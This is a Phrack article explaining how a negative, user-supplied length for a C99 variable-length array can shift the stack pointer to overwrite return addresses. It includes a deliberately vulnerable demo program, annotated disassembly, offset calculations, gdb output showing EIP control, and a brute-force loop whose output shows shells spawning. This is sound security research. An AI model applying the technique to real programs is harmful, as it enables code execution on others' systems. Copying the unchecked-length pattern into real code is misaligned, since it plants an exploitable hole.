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Current issue : #63 | Release date : 2005-01-08 | Editor : Phrack Staff
IntroductionPhrack Staff
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OSX heap exploitation techniquesNemo
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Shifting the Stack Pointerandrewg
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Breaking Through a Firewallkotkrye
Phrack World NewsPhrack Staff
Title : Shifting the Stack Pointer
Author : andrewg
                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3f, Phile #0x0e of 0x14


|=----=[ Clutching at straws: When you can shift the stack pointer ]=----=|
|=-----------------------------------------------------------------------=|
|=----------=[ Andrew Griffiths <andrewg@felinemenace.org> ]=------------=|

--[ Table of contents

1 - Introduction
2 - The story
2.1 - C99 standard note
3 - Breakdown
4 - Moving on
4.1 - Requirements for exploitability
5 - Links
6 - Finishing up

--[ 1 - Introduction

	The paper documents a rare, but none-the less interesting bug in 
	variable sized arrays in C. This condition appears when a user 
	supplied length is passed via a parameter to a variable 
	declaration in a function. 

	As a result of this, an attacker may be able to "shift" the stack
	pointer to point it to somewhere unexpected, such as above
	the stack pointer, or somewhere else like the Global Offset
	Table. 

--[ 2 - The story

	After playing a couple rounds of pool and drinking at a local 
	pub, nemo talked about some of the fruits after the days auditing
	session. He mentioned that there was some interesting code 
	constructs which he hadn't fully explored yet (perhaps because 
	I dragged him out drinking).

	Basically, the code vaguely looked like: 

	int function(int len, some_other_args)
	{
		int a;
		struct whatever *b; 
		unsigned long c[len];
		
		if(len > SOME_DEFINE) { 
			return ERROR;
		} 

		/* rest of the code */
	}

	and we started discussing about that, and how we could take 
	advantage of that. After various talks about the compiler emitting
	code that wouldn't allow it, architectures that it'd work on (and 
	caveats of those architectures), and of course, another round or 
	two drinks, we came to the conclusion that it'd be perfectly 
	feasible to exploit, and it would be a standard esp -= 
	user_supplied_value;

	The problem in the above code, is that if len is user-supplied 
	it would be possible to make it negative, and move the stack 
	pointer move closer to the top of the stack, as opposed to closer 
	to the bottom (assuming the stack grows down.)

----[ 2.1 - C99 standard note

	The C99 standard allows for variable-length array declaration:

	To quote, 

	"In this example, the size of a variable-length array is computed 
	 and returned from a function: 
	 
	 size_t fsize3 (int n)
	 { 
	 	char b[n+3]; //Variable length array. 
		return sizeof b; // Execution timesizeof. 
	 } 
	
	 int main() 
	 { 
	   size_t size; 
	   size = fsize3(10); // fsize3 returns 13. 
	   return 0; 
	 }"
	
--[ 3 - Break down

	Here is the (convoluted) C file we'll be using as an example. 
	We'll cover more things later on in the article. 

	#include <stdlib.h>
	#include <unistd.h>
	#include <stdio.h>
	#include <string.h>
	#include <sys/types.h>

	int func(int len, char *stuff)
	{
		char x[len];
		
		printf("sizeof(x): %d\n", sizeof(x));
		strncpy(x, stuff, 4);
		return 58;
	}

	int main(int argc, char **argv)
	{
		return func(atoi(argv[1]), argv[2]);
	}
	
	The question arises though, what instructions does the compiler 
	generate for the func function?
	
	Here is the resulting disassembly from "gcc version 3.3.5 
	(Debian 1:3.3.5-8ubuntu2)", gcc dmeiswrong.c -o dmeiswrong. 


080483f4 <func>:
 80483f4: 55                   push   %ebp
 80483f5: 89 e5                mov    %esp,%ebp ; standard function 
                                                ; prologue
 80483f7: 56                   push   %esi
 80483f8: 53                   push   %ebx ; preserve the appropriate 
                                           ; register contents.
 80483f9: 83 ec 10             sub    $0x10,%esp ; setup local 
                                                ; variables
 80483fc: 89 e6                mov    %esp,%esi ; preserve the esp 
                                                ; register
 80483fe: 8b 55 08             mov    0x8(%ebp),%edx ; get the length
 8048401: 4a                   dec    %edx	; decrement it
 8048402: 8d 42 01             lea    0x1(%edx),%eax ; eax = edx + 1 
 8048405: 83 c0 0f             add    $0xf,%eax
 8048408: c1 e8 04             shr    $0x4,%eax
 804840b: c1 e0 04             shl    $0x4,%eax 

The last three lines are eax = (((eax + 15) >> 4) << 4); This rounds up 
and aligns eax to a paragraph boundary.

 804840e: 29 c4                sub    %eax,%esp ; adjust esp
 8048410: 8d 5c 24 0c          lea    0xc(%esp),%ebx ; ebx = esp + 12
 8048414: 8d 42 01             lea    0x1(%edx),%eax ; eax = edx + 1 
 8048417: 89 44 24 04          mov    %eax,0x4(%esp) ; len argument
 804841b: c7 04 24 78 85 04 08 movl   $0x8048578,(%esp) ; fmt string
                                                  ; "sizeof(x): %d\n"
 8048422: e8 d9 fe ff ff       call   8048300 <_init+0x3c> ; printf

 8048427: c7 44 24 08 04 00 00 movl   $0x4,0x8(%esp) ; len arg to 
 804842e: 00                                         ; strncpy
 804842f: 8b 45 0c             mov    0xc(%ebp),%eax   
 8048432: 89 44 24 04          mov    %eax,0x4(%esp) ; data to copy
 8048436: 89 1c 24             mov    %ebx,(%esp)    ; where to write

 ; ebx = adjusted esp + 12 (see 0x8048410)

 8048439: e8 e2 fe ff ff       call   8048320 <_init+0x5c> ; strncpy
 804843e: 89 f4                mov    %esi,%esp  ; restore esp
 8048440: b8 3a 00 00 00       mov    $0x3a,%eax ; ready to return 58 
 8048445: 8d 65 f8             lea    0xfffffff8(%ebp),%esp 
				; we restore esp again, just in case it 
				; didn't happen in the first place.
 8048448: 5b		       pop    %ebx
 8048449: 5e                   pop    %esi
 804844a: 5d                   pop    %ebp 
 804844b: c3                   ret ; restore registers and return.


	What can we learn from the above assembly output?

	1) There is some rounding done on the supplied value, thus meaning 
           small negative values (-15 > -1) and small values (1 - 15) will 
	   become 0. This might possibly be useful, as we'll see below.

	   When the supplied value is -16 or less, then it will be possible
	   to move the stack pointer backwards (closer to the top of the 
	   stack).

	   The instruction sub $eax, %esp at 0x804840e can be seen as add 
	   $16, %esp when len is -16.[1]

	2) The stack pointer is subtracted by the paragraph-aligned 
	   supplied value.
	
	   Since we can supply an almost arbitary value to this, we can 
	   point the stack pointer at a specified paragraph. 

	   If the stack pointer value is known, we can calcuate the offset 
	   needed to point the stack at that location in memory. This 
	   allows us to modify writable sections such as the GOT and heap. 

	3) gcc can output some wierd assembly constructs.
	
--[ 4 - Moving on

	So what does the stack diagram look like in this case? When we 
	reach 0x804840e (sub esp, eax) this is how it looks.

			+------------+
	0xc0000000 	|   ......   | Top of stack.
			|   ......   |
	0xbffff86c	| 0x08048482 | Return address
	0xbffff868	| 0xbffff878 | Saved EBP
	0xbffff864	|   ......   | Saved ESI 
	0xbffff860	|   ......   | Saved EBX
	0xbffff85c	|   ......   | Local variable space
	0xbffff858	|   ......   | Local variable space
	0xbffff854	|   ......   | Local variable space
	0xbffff850 	+------------+ ESP
	
	To overwrite the saved return address, we need to calculate what 
	to make it subtract by. 
	
	delta = 0xbffff86c - 0xbffff850
	delta = 28

	We need to subtract 12 from our delta value because of the 
        instruction at 0x08048410 (lea 0xc(%esp),%ebx) so we end up with 16. 

	If the adjusted delta was less than 16 we would end up overwriting 
	0xbffff85c, due to the paragraph alignment. Depending what is in 
	that memory location denotes how useful it is. In this particular 
	case its not. If we could write more than 4 bytes, it could be 
	useful.

	When we set -16 AAAA as the arguments to dmeiswrong, we get:

	andrewg@supernova:~/papers/straws$ gdb -q ./dmeiswrong
	Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
	(gdb) set args -16 AAAA
	(gdb) r
	Starting program: /home/andrewg/papers/straws/dmeiswrong -16 AAAA
	sizeof(x): -16

	Program received signal SIGSEGV, Segmentation fault.
	0x41414141 in ?? ()

	Based with the above information, an exploit can be written for 
	dmeiswrong.c. See the attached file iyndwacyndwm.c for more 
	information.

	The attached exploit code (iyndwacyndwm.c) works on my system 
	(gcc version: Debian 1:3.3.5-8ubuntu2, kernel: Linux supernova 
	2.6.10-5-686 #1 Fri Jun 24 17:33:34 UTC 2005 i686 GNU/Linux) with
	success. 
	It may fail on the readers machine due to different initial stack 
	layout, and different compiler options / generated code. You may 
	need to play a bit with gdb a bit to get it working. However, this 
	technique should work fine for other people, they may just need to 
	play around a bit to get it working as expected.

	To get it working for your system, have a look at what causes a 
	segfault (this can be achieved with a simple 

	  "for i in `seq 0 -4 -128` ; do ./dmeiswrong $i AAAA ; done" 

	loop and seeing if the offset segfaults. The attached Makefile 
	implements this loop for you when you type make bf. You can then 
	replay the offset and args in GDB to see if EIP is pointing to 
	0x41414141.

	Then its a matter of getting the stack layout correct for so the 
	exploit will run. In the included exploit, I've made it so it 
	tries to determine the exact offset to where the shellcode starts. 
	This technique is further explained in [2]. Otherwise, this 
	technique could be done via examining the heap layout at "_start" 
	(entry point of the executable) and looking at what is in memory 
	from the top, and seeing the offset, as its quite possible that 
	things have been moved around during different kernel releases.

	In order to make it easier for people to play around with this 
	technique, I've included a precompiled dmeiswrong and iyndwacyndwm 
	files, which hopefully demonstate the problem. If iyndwacyndwm 
	does not work for you, try iyndwacyndwm-lame which tries the 
	standard "pick an offset from some value (like esp)" technique to 
	try and gain code execution on the host.

	I haven't performed a wide scale test against vulnerable compilers, 
	but due to the code construct compilers would be most likely to 
	emit, I suspect a majority of compilers which support variable 
	sized stack arrays to be vulnerable. Thos which wouldn't be 
	vulnerable would be those which include code to verify if this is 
	not a problem during runtime. 

	Exploitability of this type of bug appears to be feasible on other 
	architectures, such as PPC, as I was able to get it to crash with
	$pc being something not of my choice. (such as, 0x6f662878, and 
	sometimes $pc would be pointing at an invalid instruction on the 
	stack). This was done via just incrementing the value passed as 
	the len by 4 in a loop. Make bf should point out the exploitable 
	architectures as they should crash (eventually.)

	I didn't have enough time to look into this further as the time to 
	submit the final paper drew to close, and PPC assembly and MacOSX
	are not my strongest skills.

--[ 4.1 - Requirements for exploitability

	In order for an architecture / Operating System to be exploitable, 
	the architecture needs to support having a stack which can be moved 
	about. If the stack contains embedded flow control information, 
	such as saved return addresses, it makes it significantly easier 
	to exploit, and partially less dependant on what value the stack 
	pointer contains. This in turn increases reliability in exploits, 
	especially remote ones.

	Additionally, the compiler needs to:

	- support variable sized stack arrays (which as demonstrated above, 
	  is a feature of the C99 standard)

	- not emit code that performs sanity checking of the changed stack 
	  pointer. It is forseeable that if this issue gets a lot of public 
	  attention, that various compiler security patches (such as 
	  pro-police, stackguard, so fourth) will add detection of this 
	  issue.

	The direction the stack grows is not that relevant to the problem, 
	as if the x86 stack grew upwards, the instruction at 0x804840e, 
	would be written as addl %eax, %esp, and given the parameter len 
	as -16 would could be rewritten as subl $16, %esp, which would 
	allow access to the saved eip and saved frame pointer, amongst 
	other things. 

	The attached Makefile has a "bf" option which should allow you 
	to test if your architecture is vulnerable. In order to make this 
	work as expected, you'll need to supply the top of the stack for 
	your architecture, and a proper shellcode. A recommended test 
	shellcode is the trap instruction (int3 on x86, trap on ppc) which 
	generates a particular signature when the code is executed. 

	The output from the make bf command on my laptop is as follows:

	andrewg@supernova:~/papers/straws/src$ make bf
	for i in `seq 0 -4 -256` ; do ./iyndwacyndwm-lame $i ; done
	sizeof(x): 0
	sizeof(x): -4
	sizeof(x): -8
	sizeof(x): -12
	sizeof(x): -16
	sh-3.00$ exit
	sizeof(x): -20
	sh-3.00$ exit
	sizeof(x): -24
	sh-3.00$ exit
	sizeof(x): -28
	sh-3.00$ exit
	sizeof(x): -32
	/bin/sh: line 1: 16640 Segmentation fault      ./iyndwacyndwm-lame $i
	sizeof(x): -36

	[ snipped a bunch of Segmentation fault messages ] 	

	/bin/sh: line 1: 16648 Floating point exception./iyndwacyndwm-lame $i
	sizeof(x): -68
	/bin/sh: line 1: 16649 Floating point exception./iyndwacyndwm-lame $i
	sizeof(x): -72

	[ snipped a bunch of Floating point exception messages and segv ] 

	andrewg@supernova:~/papers/straws/src$

	The make bf-trap command generates the following output:

	for i in `seq 0 -4 -256` ; do ./iyndwacyndwm-lame-trap $i ; done
	sizeof(x): 0
	sizeof(x): -4
	sizeof(x): -8
	sizeof(x): -12
	sizeof(x): -16
	/bin/sh: line 1: 16983 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
	sizeof(x): -20
	/bin/sh: line 1: 16984 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
	sizeof(x): -24


--[ 5 - Links

[1] http://www.eduplace.com/math/mathsteps/6/b/
[2] http://packetstorm.linuxsecurity.com/groups/netric/envpaper.pdf

--[ 6 - Finishing up

I'd like to greet all of the felinemenace people ((in no particular order) 
nevar, nemo, mercy, ash, kwine, jaguar, circut, nd and n00ne), along with 
pulltheplug people, especially arcanum.

Random greets to dme, caddis, Moby for his visual basic advice while 
discussing this problem at the pub, and zen-parse.

It kinda goes without saying, but I'd like to thank all the people who have 
supplied feedback for my article.

[ Need a challenge ? ]
[ Visit http://www.pulltheplug.org ] 

[ Want to visit Australia and want a reason? ]
[ RUXCON is being held on 1st and 2nd of October - see you there ] 
[ http://www.ruxcon.org.au/ ] 

|=[ EOF ]=---------------------------------------------------------------=|


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end
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